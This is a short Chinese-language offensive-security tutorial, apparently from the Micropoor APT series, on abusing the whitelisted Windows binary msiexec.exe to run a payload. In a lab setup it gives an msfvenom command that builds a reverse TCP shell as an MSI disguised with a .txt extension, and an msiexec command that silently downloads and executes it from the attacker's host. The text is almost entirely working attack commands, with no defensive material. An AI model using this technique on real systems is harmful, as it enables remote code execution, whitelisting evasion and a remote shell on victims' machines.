专注APT攻击与防御

https://micropoor.blogspot.com/

注：请多喝点热水或者凉白开，身体特别重要。Msiexec简介：

Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包（MSI）,一般在运行Microsoft Update安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于Windows 2003，Windows 7等。

说明：Msiexec.exe所在路径已被系统添加PATH环境变量中，因此，Msiexec命令可识别。基于白名单Msiexec.exe配置payload：

Windows 2003 默认位置：

C:\WINDOWS\system32\msiexec.exe

C:\WINDOWS\SysWOW64\msiexec.exe

攻击机：192.168.1.4 Debian

靶机： 192.168.1.119 Windows 2003

配置攻击机msf：

配置payload：

1 msfvenom ‐p windows/x64/shell/reverse\_tcp LHOST=192.168.1.4 LPORT=53 ‐ f msi > Micropoor\_rev\_x64\_53.txt

靶机执行：

1 C:\Windows\System32\msiexec.exe /q /i http://192.168.1.4/Micropoor\_rev \_x64\_53.txt

Micropoor